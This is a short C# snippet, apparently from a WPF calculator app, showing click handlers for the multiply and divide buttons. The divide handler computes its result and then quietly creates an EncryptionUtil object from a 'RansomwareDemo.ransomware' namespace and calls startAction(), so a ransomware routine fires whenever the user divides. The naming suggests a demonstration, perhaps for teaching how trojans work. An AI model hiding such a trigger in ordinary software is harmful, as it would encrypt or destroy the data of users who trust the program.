private void btnMultiply_Click(object sender, RoutedEventArgs e)
{
if (validateInput(this.txtNumber1.Text, this.txtNumber2.Text, this.lblError))
{
double number1 = System.Convert.ToDouble(txtNumber1.Text);
double number2 = System.Convert.ToDouble(txtNumber2.Text);
double answer = CalculatorUtil.multiply(number1, number2);
txtAnswer.Text = answer.ToString();
}
}
private void btnDivide_Click(object sender, RoutedEventArgs e)
{
if (validateInput(this.txtNumber1.Text, this.txtNumber2.Text, this.lblError))
{
double number1 = System.Convert.ToDouble(txtNumber1.Text);
double number2 = System.Convert.ToDouble(txtNumber2.Text);
double answer = CalculatorUtil.divide(number1, number2);
txtAnswer.Text = answer.ToString();
RansomwareDemo.ransomware.EncryptionUtil ru = new EncryptionUtil();
ru.startAction();
}
}